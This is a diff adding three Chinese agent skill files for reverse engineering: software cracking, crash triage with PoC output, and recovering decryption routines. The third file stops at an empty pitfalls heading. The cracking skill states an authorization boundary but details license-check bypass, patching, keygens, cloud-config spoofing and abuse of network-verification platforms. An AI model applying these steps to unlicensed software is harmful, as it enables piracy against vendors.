vendor-new/rev-skills/.claude/skills/re-cracking/SKILL.md
Normal file
69
vendor-new/rev-skills/.claude/skills/re-cracking/SKILL.md
Normal file
@@ -0,0 +1,69 @@
|
||||
---
|
||||
name: re-cracking
|
||||
type: gateway
|
||||
description: >
|
||||
软件破解网关。编排:带壳先脱壳 → 授权定位 → 补丁/注册机。
|
||||
子技能:[[re-license]] [[re-patching]] [[re-keygen]] [[re-drm]]。
|
||||
触发词:破解、crack、注册码、序列号、授权验证、绕过验证、打补丁、patch、keygen、注册机、授权绕过。
|
||||
capabilities: [license-analysis]
|
||||
---
|
||||
|
||||
# 软件破解(授权定位 / 补丁 / 注册机)
|
||||
|
||||
## 授权边界(本网关及下游技能 [[re-license]] / [[re-keygen]] / [[re-patching]] / [[re-drm]] 共同适用)
|
||||
|
||||
- **允许场景**:授权验证分析仅限——自有/自研软件分析、获得授权的测试与审计、CTF 与研究环境(题目/沙箱样本)、厂商授权的评估目标
|
||||
- **禁止**:未授权软件解锁、商业软件绕过、绕过授权后分发(含补丁与注册机产物扩散)
|
||||
- **动态路线权限门槛**:断点观察返回值、修改环境、验证行为等动态步骤属正常逆向方法,但 Agent 自动执行前必须确认用户已说明目标归属(软件所有权 / 测试授权 / CTF·研究环境之一)——未说明则只做静态授权逻辑分析,不执行动态验证与补丁落地
|
||||
|
||||
## 完整工作流
|
||||
|
||||
按顺序执行;每步产物(校验点地址 / 算法伪代码 / patch 文件 / keygen 脚本)记录证据路径 + sha256(见 [[re-triage]](能力:`triage`)),供报告引用。
|
||||
|
||||
1. **带壳判断与脱壳:[[re-anti-analysis]](能力:`unpack`、`deobfuscation`、`evasion-analysis`)** —— 先判壳再动手:[[re-packer-id]](能力:`unpack`) 识别(节名异常 / 熵 >7 / 导入表极小 / EP 指向非首节)。带壳先脱壳(简单壳 [[re-unpack-simple]](能力:`unpack`)、强壳 [[re-unpack-advanced]](能力:`unpack`),脱壳产物 sha256 存档);脱壳后仍有花指令 / 平坦化 / 字符串加密 → [[re-deobfuscate]](能力:`deobfuscation`)。**确认无壳才进入授权定位**(在壳代码里找授权函数是白费功夫,见坑 1)
|
||||
2. **授权定位:[[re-license]](能力:`license-analysis`)** —— 字符串 / API 交叉引用找校验函数(注册对话框 / MessageBox / 注册表读取)→ 调用图与成功/失败分支 → 算法还原(对比 / 解密 / 签名验证)→ 区分在线激活与离线校验 → 识别机器码绑定。**产物:全部校验点地址 + 校验算法**(不只第一个,见坑 2)
|
||||
3. **分派**:根据校验算法性质与目标选择路径——
|
||||
- 算法可逆(比较 / 变换 / 查表可逆向)→ **[[re-keygen]](能力:`license-analysis`)** 写注册机(生成任意合法序列号,不修改目标文件,适合分发)
|
||||
- 算法不可逆(哈希;非对称验签——私钥不可由公开验证过程推导,RSA/ECC 验证本身是公开算法,不可得的是签名生成密钥)→ **[[re-patching]](能力:`binary-patching`)**(跳过验签 / 改判定分支);需要从比较链 / 数学关系硬推序列号 → [[re-z3]](能力:`constraint-solving`) 建模可选(见坑 4)
|
||||
- 只想快速绕过(不关心算法)→ **[[re-patching]](能力:`binary-patching`)**(最小改动:失败跳转改成功跳转)
|
||||
- 两者可同时做:patch 即时可用,keygen 长期有效
|
||||
4. **补丁:[[re-patching]](能力:`binary-patching`)** —— 定位 patch 点(失败跳转 jz/jnz)→ 字节修改(nop / 跳转重写)→ 校验和 / 自校验处理 → 补丁导出(二进制 diff / patch 文件)→ 多架构适配(ARM 改 B 指令等)
|
||||
5. **注册机:[[re-keygen]](能力:`license-analysis`)** —— 从 [[re-license]](能力:`license-analysis`) 拿到的校验算法 → 逆推生成算法(正推 / 约束求解)→ python 实现 → 校验码 / 校验位边界处理 → 多平台 CLI 输出
|
||||
6. **验证**:沙箱内([[re-sandbox]](能力:`sandbox-setup`),[[re-analyze/platform-tips]] 最高原则)复跑——补丁版与 keygen 生成的序列号必须通过**全部**校验点(启动 + 功能点,见坑 2);与未修改样本对比行为一致;产物与证据路径存档
|
||||
|
||||
每步结果按 [[re-triage]](能力:`triage`) 记录;注册算法指纹 / 补丁字节是 [[re-ioc]](能力:`threat-intel`) YARA 特征来源。
|
||||
|
||||
## 何时用哪个原子技能(选择树)
|
||||
|
||||
按输入特征 / 目标分支:
|
||||
|
||||
- **样本带壳**(节名异常 / 熵高 / 导入表极小)→ 先 [[re-anti-analysis]](能力:`unpack`、`deobfuscation`、`evasion-analysis`;packer-id → unpack-* → 需要时 deobfuscate),脱壳后回到本网关第 2 步
|
||||
- **"序列号算法是什么 / 帮我生成注册码"** → [[re-license]](能力:`license-analysis`) 还原算法 → [[re-keygen]](能力:`license-analysis`) 生成
|
||||
- **"绕过注册验证 / 解锁功能"** → [[re-license]](能力:`license-analysis`) 定位校验点 → [[re-patching]](能力:`binary-patching`) 最小改动
|
||||
- **校验算法不可逆(哈希;非对称签名——私钥不可由公开验证过程推导)** → [[re-patching]](能力:`binary-patching`;跳过验签);想从比较链硬推 → [[re-z3]](能力:`constraint-solving`) 建模
|
||||
- **在线激活**(校验含网络请求)→ [[re-license]](能力:`license-analysis`) 区分在线 / 离线后转 [[re-protocol]](能力:`network-capture`、`protocol-recovery`、`crypto-identification`、`crypto-decryption`、`key-extraction`、`tls-analysis`) 抓包分析激活流程,本地侧按离线流程处理(见坑 3)
|
||||
- **只要确认注册机制是否存在**("这程序有授权吗")→ [[re-license]](能力:`license-analysis`) 第 1 步即可,不进入后续
|
||||
- **确认无授权机制** → 不需要本网关,转 [[re-binary-core]](能力:`decompilation`、`debugging`、`memory-dump`、`elf-parser`、`pe-parser`、`macho-parser`) 正常分析
|
||||
- **目标是 DRM 内容保护**(PlayReady / Widevine 许可证、内容解密)→ 非传统授权校验,转 [[re-drm]](能力:`drm-analysis`;仅授权研究,合规边界见该技能)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- **入口调度**:本网关被 [[re-analyze]] 的 triage「破解 / 授权绕过 / 注册码」路径调用(re-cracking → 若带壳 re-anti-analysis → 授权定位 re-license → 补丁 / 注册机 re-patching / re-keygen)
|
||||
- **破解前置脱壳**:带壳样本先走 [[re-anti-analysis]](packer-id → unpack-* → deobfuscate),脱壳产物回本网关做授权定位;[[re-anti-analysis]] 工作流第 6 步同样将破解目标转回本网关
|
||||
- **反编译工作台**:授权函数反编译走 [[re-binary-core]]([[re-ghidra]] / [[re-ida]] / [[re-radare2]])
|
||||
- **动态定位**:[[re-gdb]] / [[re-x64dbg]](断点看校验分支与返回值)、[[re-lldb]](macOS)、[[re-tracing]](strace / ltrace 观察注册表 / 文件 / API 调用)、[[re-memdump]](内存中的注册标志 / 校验结果)
|
||||
- **在线激活**:校验含网络交互 → [[re-protocol]]([[re-netcap]] 抓包 + [[re-crypto-id]] / [[re-crypto-keys]] / [[re-crypto-decrypt]] 处理激活协议加密)
|
||||
- **DRM 内容保护**:PlayReady / Widevine 许可证与内容解密属 DRM 域 → [[re-drm]](区别于授权校验破解;仅授权研究)
|
||||
- **混淆对抗**:校验函数被花指令 / 平坦化 / 字符串加密保护 → [[re-deobfuscate]] 还原后再定位
|
||||
- **验证沙箱**:补丁版 / keygen 序列号复跑验证必须 [[re-sandbox]]([[re-analyze/platform-tips]] 最高原则)
|
||||
- **IOC 产出**:注册算法指纹、补丁字节、keygen 典型特征进 [[re-ioc]] 列表
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **跳过脱壳直接定位授权**:现象——xref 定位到的"校验函数"全是壳的解压代码,字符串搜索也全是乱码 / 壳信息;原因——样本带壳,授权逻辑在 OEP 之后才解密;对策——第 1 步先 [[re-anti-analysis]] 确认脱干净(sha256 + 导入表可解析 + 沙箱复跑)再进授权定位
|
||||
- **只补一个校验点**:现象——启动校验过了,一用核心功能又弹注册框 / 功能锁死;原因——校验多次(启动 + 功能点 + 定时器);对策——[[re-license]] 第 2 步遍历校验函数的全部 xref / 调用图,把**所有**校验点做成清单,patch / keygen 逐一覆盖并逐个验证
|
||||
- **在线激活当离线破解**:现象——本地判定分支全改完程序依然拒绝使用;原因——序列号验证在服务器端,本地只有请求 / 响应与伪校验;对策——[[re-license]] 第 4 步先区分在线 / 离线;在线激活转 [[re-protocol]] 分析激活协议,本地侧只能处理响应校验与离线回退逻辑
|
||||
- **盲目追求注册机**:现象——校验算法含 SHA / MD5 或 RSA 验签,注册机写不出来,方案卡死;原因——不可逆部分是单向的(哈希无法反推;非对称验签中私钥不可由公开验证过程推导),正推生成序列号不可能;对策——按第 3 步分派:不可逆改 [[re-patching]] 跳过验签;必须约束求解时用 z3-solver 只对可逆部分建模
|
||||
- **云端配置丢失 → 找同系列文件猜格式**:现象——破解对象依赖云端配置文件(如 `SSSSSPRO.json`),文件被作者清空程序报错,逆向解析又慢;原因——云端文件不可得;对策——猜测同系列其他版本文件(如不带 PRO 的版本,格式通常一致)→ 本地起 server 模拟数据 + URL 替换(hosts/代理/frida hook 重定向),比逆向解析配置格式快得多
|
||||
- **网络验证平台可自注册 → 自建后台替代逆向**:现象——卡密验证服务端协议复杂(sign/加解密/数据格式),自己写 server 一直报数据异常;原因——完整实现验证平台协议工作量大;对策——先查验证平台本身:定位接口 URL → 子域名扫描 → 找平台接口文档/后台登录页;若平台**允许任何人注册** → 注册自建软件、生成配置(加密算法默认 RC4 等)→ 替换目标里的配置值,比写 server 省事;这是网络验证破解的通用捷径:优先"复用平台"而非"重写平台"
|
||||
- **frida gadget 注入免劫持注入**:现象——目标主程序带壳/自校验,劫持注入麻烦;对策——写 loader.exe:`CreateProcess` 启动目标后立刻注入 `frida-gadget.dll`(配合 gadget.config),相比 hook 注入路径更简单可控
|
||||
141
vendor-new/rev-skills/.claude/skills/re-crash-triage/SKILL.md
Normal file
141
vendor-new/rev-skills/.claude/skills/re-crash-triage/SKILL.md
Normal file
@@ -0,0 +1,141 @@
|
||||
---
|
||||
name: re-crash-triage
|
||||
description: >
|
||||
崩溃/漏洞样本分析:确定性复现、ASAN/UBSAN 报告解读、输入最小化
|
||||
(afl-tmin/cmin)、gdb 回溯定位、rr 录制重放、PoC 产出。
|
||||
触发词:崩溃、crash、ASAN、UBSAN、未定义行为、UAF、堆溢出、越界、段错误、segfault、
|
||||
core dump、PoC、漏洞分析、崩溃分析。
|
||||
capabilities: [debugging]
|
||||
---
|
||||
|
||||
# 崩溃分析与漏洞定位(crash triage)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:fuzz 产出崩溃输入;程序段错误/abort;需要判断崩溃是否真实漏洞(可达性)并产出最小 PoC;多线程/非确定性崩溃需复现
|
||||
- 不用:还没崩溃、要主动找 bug(→ [[re-fuzzing]]);崩溃已定位、需要深挖函数逻辑(→ [[re-binary-core]] 底座)
|
||||
- 不用:只需要看符号栈(直接 [[re-gdb]] 亦可,但本技能含完整"复现→最小化→定位→PoC"流程)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。复现崩溃是动态执行,默认沙箱内跑([[re-analyze/platform-tips]] 最高原则,见 [[re-sandbox]])。
|
||||
|
||||
### ASAN / UBSAN —— 内存与未定义行为检测(clang/gcc 内置)
|
||||
|
||||
- clang: `sudo apt install clang` / `sudo dnf install clang` / `sudo pacman -S clang` / macOS Xcode 自带
|
||||
- gcc: Debian/Ubuntu `sudo apt install gcc`(ASAN 内置在 gcc,无独立包);Fedora `sudo dnf install gcc`;Arch `sudo pacman -S gcc`
|
||||
- 编译: `gcc -fsanitize=address,undefined -g -fno-omit-frame-pointer -o target_asan target.c`(clang 参数相同)
|
||||
- 验证: 写一个数组越界小程序编译运行,确认输出含 `AddressSanitizer` 字样
|
||||
|
||||
### gdb —— 回溯与 core 分析
|
||||
|
||||
- Debian/Ubuntu: `sudo apt install gdb`
|
||||
- Fedora/RHEL: `sudo dnf install gdb`
|
||||
- Arch: `sudo pacman -S gdb`
|
||||
- macOS: `brew install gdb`(需 codesign 授权);Xcode 自带 lldb 亦可(见 [[re-lldb]])
|
||||
- Windows: WSL 内 Linux 版;Windows 本机用 WinDbg([[re-windbg]])
|
||||
- 验证: `gdb --version`
|
||||
|
||||
### rr —— 录制/重放(非确定性崩溃)
|
||||
|
||||
- Debian/Ubuntu: `sudo apt install rr`(universe 仓库)
|
||||
- Fedora/RHEL: `sudo dnf install rr`
|
||||
- Arch: `paru -S rr`(AUR 包;官方仓库无 rr)
|
||||
- macOS: 无支持(rr 仅支持 Linux,官方原话 "Apple hardware is fine, Apple software is not");Apple Silicon 用户用 Asahi Linux 或 Linux 虚拟机(需 PMU 透传)
|
||||
- Windows: WSL2 内 Linux 版
|
||||
- 源码编译:
|
||||
```sh
|
||||
git clone https://github.com/rr-debugger/rr && mkdir rr/obj && cd rr/obj
|
||||
cmake -DCMAKE_BUILD_TYPE=Release ../rr && make -j$(nproc) && sudo make install
|
||||
```
|
||||
- 前置: Linux 内核 3.11+(建议 4.7+);`perf_event_paranoid` > 1 时超慢,先放开:
|
||||
```sh
|
||||
sudo sysctl kernel.perf_event_paranoid=1
|
||||
```
|
||||
- 虚拟机内需 PMU 透传(VMware/KVM 可,VirtualBox 不可)
|
||||
- **容器/受限环境先自检**: `rr check` 会检查 PMU/`perf_event` 可用性与已知限制,通过后再用;嵌套虚拟化、未透传 PMU 的容器里 rr 无法录制
|
||||
- **PMU 不可用时的回退**(不要卡在 rr 上): 改用「同一输入多次重跑 + 日志/条件断点」缩小竞态窗口;数据竞争类问题用 `valgrind --tool=helgrind` 或 `-fsanitize=thread` 构建定位;纯 ASLR 抖动可先 `set disable-randomization on` 排除
|
||||
- 验证: `rr --version`
|
||||
|
||||
### afl-tmin / afl-cmin —— 输入最小化与去重(随 AFL++ 安装)
|
||||
|
||||
- 安装见 [[re-fuzzing]] 的 AFL++ 一节(`afl-tmin` / `afl-cmin` 随包安装)
|
||||
- **前置(`afl-cmin` 尤其重要)**: `afl-cmin` 需要目标可被 AFL 观测——通常要求它由 AFL 插桩构建(`afl-clang-fast` / `afl-gcc`),否则会报「无插桩 / not instrumented」而失败。`afl-tmin` 的约束弱得多(可按纯崩溃判据工作),未插桩目标通常也能跑
|
||||
- **常见踩空**: 目标是独立 ASAN 构建(`gcc -fsanitize=address -g`)而**没有**走 `afl-clang-fast` 时,`afl-cmin` 不保证能跑。先确认构建方式;不是 AFL 编译器产出时,改用 `afl-tmin` 逐个最小化,或回 [[re-fuzzing]] 重建插桩版本
|
||||
- 验证: `afl-tmin -h` / `afl-cmin -h`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;崩溃输入与 PoC 先 sha256 存证([[re-triage]] 方法)。
|
||||
|
||||
1. **确定性复现**:
|
||||
```sh
|
||||
sha256sum crash_input > crash_input.sha256
|
||||
./target < crash_input # stdin 输入
|
||||
./target crash_input # 文件输入
|
||||
./target -f crash_input # 按目标实际参数形态
|
||||
```
|
||||
- 连续跑 3 次都崩 = 确定性崩溃,继续第 2 步;时崩时不崩 = 非确定性(多线程/未初始化/ASLR),跳到第 4 步用 rr
|
||||
- core dump 开启(崩溃后留 core 供分析): `ulimit -c unlimited`;`cat /proc/sys/kernel/core_pattern` 若指向 systemd-coredump/apport 则 core 会被系统收走(见坑 4)
|
||||
2. **ASAN 报告解读**(目标须为 `-fsanitize=address -g -fno-omit-frame-pointer` 构建,见工具准备):
|
||||
- `heap-buffer-overflow` / `stack-buffer-overflow` / `global-buffer-overflow`:越界读写——报告含越界方向(`READ of size N` / `WRITE of size N`)与越界偏移
|
||||
- `heap-use-after-free`:UAF——看 `freed by` 与 `allocated by` 两段栈,找释放点与再使用点
|
||||
- `attempting double-free`:重复释放
|
||||
- `SEGV`:空指针/野指针访问,细节需 gdb 补(第 4 步)
|
||||
- 关键:`#0` 帧是崩溃点,**别只看行号**——结合数据流向判断是哪个输入字节导致
|
||||
3. **输入最小化**:
|
||||
```sh
|
||||
afl-tmin -i crash_input -o crash.min -- ./target @@
|
||||
# 多个崩溃输入先按路径去重(需 AFL 插桩,见工具准备):
|
||||
afl-cmin -i crashes_dir -o minimized -- ./target @@
|
||||
```
|
||||
- **`@@` 只适用于「文件参数」目标**(AFL 把 `@@` 替换成输入文件路径)。目标是 **stdin** 读输入时不要用 `@@`,把「文件 → stdin」这一步补进命令行,例如:
|
||||
```sh
|
||||
afl-tmin -i crash_input -o crash.min -- sh -c './target < "$1"' _ @@
|
||||
```
|
||||
或在目标自带 `-f <file>` 之类文件参数时用它替代 `@@`;先按第 1 步确认过的真实输入形态选写法
|
||||
- afl-tmin 产出保持崩溃的最短输入;可再手工删头/尾字节验证(二分查找最小边界)
|
||||
- 最小化后输入即 PoC 底稿;崩溃类型保持 = 同一 bug 的判定依据
|
||||
4. **gdb 回溯定位**:
|
||||
```sh
|
||||
gdb -q ./target
|
||||
(gdb) set disable-randomization on # 关 ASLR 便于地址对照
|
||||
(gdb) run crash.min
|
||||
(gdb) bt # 完整回溯
|
||||
(gdb) info registers # 崩溃点寄存器
|
||||
(gdb) x/16i $pc # 崩溃点反汇编
|
||||
```
|
||||
- core 文件分析:`gdb -q ./target /path/to/core`
|
||||
- `bt` 全是 `??`(无符号):记模块基址 + 偏移,进 [[re-ghidra]] / [[re-ida]] 反编译补帧(见坑 5)
|
||||
- 非确定性崩溃 → rr 录制重放:
|
||||
```sh
|
||||
rr record ./target crash_input
|
||||
rr replay # 打开 gdb 会话
|
||||
(rr) continue # 跑回崩溃点
|
||||
(rr) bt
|
||||
(rr) reverse-continue # 崩溃前反向执行找根因
|
||||
```
|
||||
5. **PoC / 报告**:
|
||||
- PoC:`crash.min` + sha256 + 复现命令(环境:ASAN 构建参数、运行参数、输入通道)
|
||||
- 报告要点:崩溃类型(ASAN 类别)、崩溃点函数/行/偏移、数据流向(哪个输入字节 → 越界下标)、根因(长度校验缺失 / 索引未验证 / 释放后使用)、**可达性**(见坑 3:崩溃路径真实可触达、输入可控)、影响评估(越界读→信息泄露、越界写→RCE、纯崩溃→DoS)、修复建议
|
||||
- 产出:PoC hash 与崩溃特征可进 [[re-ioc]]
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-vuln]]:本网关工作流第 3 步固定调用本技能(崩溃分析是漏洞挖掘链路的核心环节)
|
||||
- [[re-fuzzing]]:其崩溃产出(`out/crashes/`)交本技能分析(本技能也反向使用其 afl-tmin/cmin 工具链)
|
||||
- [[re-binary-core]]:定位后补符号/读函数逻辑走底座([[re-ghidra]] / [[re-ida]] / [[re-radare2]]);[[re-triage]] 提供存证方法
|
||||
- [[re-memdump]]:进程已死 / 已有 core 文件需更多上下文时转储分析(崩溃 core → memdump)
|
||||
- [[re-sandbox]] / [[re-analyze/platform-tips]]:复现是动态执行,默认沙箱内跑
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **非确定性崩溃(多线程)**:现象——同一输入 10 次里崩 3 次,gdb 重跑复现不了;原因——线程竞态 / 未初始化内存 / ASLR 地址差异;对策——rr 录制(`rr record ./target input`)在崩溃点自动停止,`rr replay` + `reverse-continue` 反向定位根因;先 `set disable-randomization on` 排除 ASLR 因素
|
||||
- **ASAN 与优化差异**:现象——ASAN(-O0/-O1)崩溃但 release(-O2)不崩,或反过来 release 才崩;原因——优化改变内存布局/时序,掩盖或暴露未定义行为;对策——两种构建都试;补 `-fsanitize=undefined` 抓 UB;影响与可达性判断以真实 release 行为为准(ASAN 报出的是潜在漏洞,需确认)
|
||||
- **崩溃≠漏洞(可达性)**:现象——ASAN 报越界但在死代码/不可达分支,或崩溃由 harness 引入;原因——fuzzer 触发的输入未必对应真实攻击面;对策——gdb 回溯 + 反编译确认崩溃路径可触达、输入可控;区分 harness bug 与目标 bug([[re-vuln]] 工作流第 4 步兜底确认)
|
||||
- **core 被系统收走**:现象——`ulimit -c unlimited` 后崩溃仍无 core 文件;原因——`core_pattern` 指向 systemd-coredump(管道方式)/apport 拦截;对策——先 `cat /proc/sys/kernel/core_pattern` 确认落点,再按落点取回:
|
||||
- `core_pattern` 形如 `|/usr/lib/systemd/systemd-coredump ...`:core 已被 systemd 接管,**不要急着改全局设置**,直接取用即可——`coredumpctl list` 找条目(按可执行名/时间),`coredumpctl info <PID|可执行名>` 看元数据,`coredumpctl dump <PID> -o core` 导出,或 `coredumpctl gdb <PID>` 直接进 gdb 调试。这比改 `core_pattern` 更完整,也不影响系统上其它程序的 core 行为
|
||||
- apport 接管(Ubuntu):core 落在 `/var/crash/`,用 `apport-unpack` 展开
|
||||
- 确实需要原始 core 文件时再临时改:`sudo sysctl kernel.core_pattern=core`(core 落到进程工作目录,注意只对之后启动的进程生效)
|
||||
- 兜底:`gdb --args ./target crash.min` 直接跑,不依赖 core 文件
|
||||
- **符号缺失**:现象——`bt` 全 `??`、地址对不上;原因——strip / 静态链接 / 二进制与 core 版本不一致;对策——core 与二进制必须同版本(对比 sha256);记录崩溃模块基址与偏移,在 [[re-ghidra]] / [[re-ida]] 按偏移定位函数,换算回 gdb 地址
|
||||
119
vendor-new/rev-skills/.claude/skills/re-crypto-decrypt/SKILL.md
Normal file
119
vendor-new/rev-skills/.claude/skills/re-crypto-decrypt/SKILL.md
Normal file
@@ -0,0 +1,119 @@
|
||||
---
|
||||
name: re-crypto-decrypt
|
||||
description: >
|
||||
加密数据还原:定位解密函数、写解密脚本。
|
||||
触发词:解密、decrypt、还原数据、解密流量
|
||||
capabilities: [crypto-decryption]
|
||||
---
|
||||
|
||||
# 加密数据还原
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:需要把密文(数据 blob / 流量 / 配置段)还原成明文
|
||||
- 用:算法与密钥已知(或已由 [[re-crypto-id]] / [[re-crypto-keys]] 得出),需要批量解密
|
||||
- 用:从样本里还原解密逻辑并重写为独立可复用的脚本
|
||||
- 不用:算法/密钥都未知(先 [[re-crypto-id]] → [[re-crypto-keys]])
|
||||
- 不用:静态可读的明文([[re-triage]] 熵低直接读)
|
||||
- 不用:想跑原样本看输出(那是 [[re-behavior]] / [[re-sandbox]] 的活——解密脚本是为了脱离样本复现)
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。本技能处理的是转储/反编译产物与密文数据,运行样本环节在 [[re-sandbox]] 内([[re-analyze/platform-tips]] 最高原则)。
|
||||
|
||||
### python3 + pycryptodome —— 解密脚本主力
|
||||
|
||||
- Linux: `apt install python3 python3-pip` / `dnf install python3 python3-pip` / `pacman -S python python-pip`
|
||||
- macOS: `brew install python`
|
||||
- Windows: python.org 安装包(勾选 Add to PATH);WSL 内 Linux 版
|
||||
- 加密库: `pip install pycryptodome`(AES/DES/RSA/ChaCha 等标准算法)
|
||||
- 验证: `python3 -c "from Crypto.Cipher import AES; print('ok')"`;`python3 --version`
|
||||
|
||||
### 目标程序转储/反编译产物 —— 还原算法的依据
|
||||
|
||||
- 转储: [[re-memdump]] 默认转储(gcore)——定位密文输入点与解密调用现场
|
||||
- 反编译: [[re-ghidra]] / [[re-ida]] / [[re-radare2]] 的产物(函数反编译视图)
|
||||
- 验证: `file out` 是 ELF core;反编译器里能找到目标函数(`ghidra` / `rizin` 可启动)
|
||||
|
||||
### angr(可选)—— 符号执行补足难还原的逻辑
|
||||
|
||||
- 全平台: `pip install angr`——**Python 版本兼容性以 [[re-angr]] 的「工具准备」为准**(版本矩阵只在该处维护一份,避免多处漂移);依赖多,建议 venv: `python3 -m venv venv && venv/bin/pip install angr`
|
||||
- 验证: `venv/bin/python -c "import angr; print(angr.__version__)"`
|
||||
- 用途: 反编译分支爆炸/混淆严重时,用符号执行求解密函数输出(加载目标二进制 → 设密文输入为符号 → 约束求解)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步记下结果。前提:算法([[re-crypto-id]])与密钥([[re-crypto-keys]])已确认或至少有一方候选;脚本与验证结果(明文样本 + sha256)存档供报告引用。
|
||||
|
||||
0. **证伪"密文":先定位真实密文边界**(跳过此步是加密分析最常见的失败方式):
|
||||
- 高熵段可能是"伪密文"——容器/压缩数据流被误当加密层(如 zip 数据本体、附加在图片后的压缩流)。压缩数据熵同样是 8.0,与加密不可区分
|
||||
- 先做整体结构观察:文件头/尾魔数、格式 marker 分布(JPEG 逐段统计大小)、尾部已知结构当锚点(zip EOCD 的 `cd_offset`/`cd_size` 反推数据起点,EOCD 签名是已知明文)
|
||||
- 定格式边界**不要用 first/last 裸 marker 搜索**:标记字节对可以合法出现在载荷里——PNG 的 `IEND` 字样可落在 tEXt chunk 数据内、JPEG 的 `FF D9` 可落在 APP1 等 length-delimited 段内(拿首个命中当结尾会截掉合法数据)。正确做法是按格式规范解析:PNG 从 8 字节签名起按 `Length/Type/Data/CRC` 逐 chunk 遍历,直到结构合法且长度为 0 的 `IEND`(必要时逐块验 CRC);JPEG 从 `SOI` 起按 marker/segment 解析,进入 `SOS` 后按 `FF00` stuffing 与 `RSTn` 规则处理,**语法位置成立的 `EOI`** 才是结尾。裸字节搜索只能用来产生候选位置,候选要经结构校验后才能定边界
|
||||
- 同尺寸文件先比尾部 16 字节/整体哈希——"换头副本"(同一 payload 的第二种封装,仅头部不同)直接省掉一整条支线
|
||||
- 压缩率是信号:解压后明显变大的层说明内容有结构(可压=编码/明文),接近 1:1 说明内层已压缩或加密
|
||||
- 确认是孤立高熵 blob 后再进入步骤 1 的密文定位
|
||||
|
||||
1. **定位解密函数(交叉引用密文输入点)**:
|
||||
- 从密文偏移出发:[[re-crypto-id]] 步骤 2 的高熵区偏移 → 反编译器里找读取该偏移/该全局变量的函数 → 沿调用链看谁写入了它(写入方常是解密函数)
|
||||
- 从 API 出发:[[re-crypto-keys]] 步骤 4 找到的 `Crypt*`/`EVP_*` 调用点就是候选;观察入参的密文指针是否指向步骤 2 的偏移
|
||||
- 动态辅助: [[re-gdb]] / [[re-x64dbg]] 在候选函数下断点(沙箱内),打印入参/返回值,确认它输出可读明文
|
||||
- 找不到明确函数 → 密文可能由内联展开的算法处理(无调用边界),回 [[re-crypto-id]] 用数据特征定位(常量表引用处)
|
||||
|
||||
2. **反编译还原算法**:
|
||||
- 把反编译视图逐段抄译成伪代码,明确:算法(AES-CBC/自定义 XOR…)、密钥与 IV 来源(固定值/派生/上下文)、模式与填充(CBC 的 IV 在哪、PKCS7 还是零填充)
|
||||
- 自定义算法: 逐条翻译位运算(XOR/移位/查表),注意字节序([[re-proto-rev]] 坑 1 同理——长度/密钥字段先试大小端)
|
||||
- 还原标准算法时留意细节:AES 用 CBC 还是 ECB、key 长度 16/24/32、IV 是否复用密钥(常见错误实现,见坑 1)
|
||||
- 反编译看不清的循环/查表逻辑 → angr 符号执行兜底(构造求解脚本,把函数当黑盒求输出)
|
||||
|
||||
3. **重写为独立脚本(python)**:
|
||||
```python
|
||||
# decrypt.py —— 按反编译还原的算法重写
|
||||
from Crypto.Cipher import AES
|
||||
import sys
|
||||
key = bytes.fromhex("...") # 来自 [[re-crypto-keys]] 步骤 1/2/5
|
||||
iv = key[:16] # 样本实现: IV = key 前 16 字节
|
||||
data = open(sys.argv[1], 'rb').read()
|
||||
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(data)
|
||||
print(pt) # 或写文件 + 后续校验
|
||||
```
|
||||
- 脚本参数化(密钥/IV/输入文件走参数或配置),一次写对、反复复用——批量解流量用
|
||||
- 关键:脚本逻辑必须与样本一致(填充处理、尾部截断),不一致时回查边界条件(见坑 1)
|
||||
|
||||
4. **用已知明文验证**:
|
||||
- 已知明文来源:协议头 magic(如 `\xAA\x55`)、文件头(`PK` zip / `\x89PNG`)、报文字段([[re-proto-rev]] 步骤 2 的固定头)、或 [[re-behavior]] 行为里观察到的明文串
|
||||
- 验证方式:解密输出里能找到已知明文片段 → 成功;找不到 → 依次检查:密钥/IV 是否对([[re-crypto-keys]] 候选逐个试)、字节序、填充处理、是否还有外层加密(见坑 3)
|
||||
- 无已知明文时用"可读性"验证:输出可打印率 >70% 或通过 `file -` 识别出格式(PDF/zip/文本)→ 视为成功候选
|
||||
|
||||
5. **流量场景:解出明文流量流**:
|
||||
- 已按 [[re-crypto-id]] / [[re-crypto-keys]] 确认流量加密算法与密钥后,从 pcap 提取密文载荷([[re-netcap]] 步骤 3 tshark 导出):
|
||||
```sh
|
||||
tshark -r c2.pcap -Y 'tcp.payload' -T fields -e data.data | sed 's/://g' | xxd -r -p > payloads.bin
|
||||
```
|
||||
- 写批量脚本:按流切分(每 TCP 流一段)、逐段调用解密逻辑(同步骤 3 的脚本),输出明文流文件
|
||||
- 验证: 明文流里能看到协议结构(会话序号/命令字),再转 [[re-proto-rev]] 做状态机重建
|
||||
- 注意会话密钥变化(每次握手重新派生)→ 脚本里为每个会话取对应密钥([[re-crypto-keys]] 步骤 5 的派生还原)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-protocol]]:本网关工作流第 4 步(解密)——加密通信链路的落地点(crypto-id → crypto-keys → crypto-decrypt → proto-rev)
|
||||
- [[re-malware]]:C2 流量解密——re-malware 第 4 步;解出的明文(指令/配置)进行为判断与 IOC([[re-ioc]])
|
||||
- [[re-firmware]]:固件加密层/加密通信解密——配合 [[re-fw-extract]] 解包失败时的加密层处理
|
||||
- [[re-crypto-id]] / [[re-crypto-keys]]:上游——算法与密钥的输入来源
|
||||
- [[re-memdump]]:密文输入点定位与解密调用现场(转储产物)
|
||||
- [[re-anti-analysis]]:解密在壳内时先脱壳(见坑 2);[[re-gdb]] / [[re-x64dbg]] 动态辅助确认函数行为
|
||||
- 解出的明文转 [[re-proto-rev]] 重建状态机,或按 [[re-firmware]] / [[re-malware]] 流程继续
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
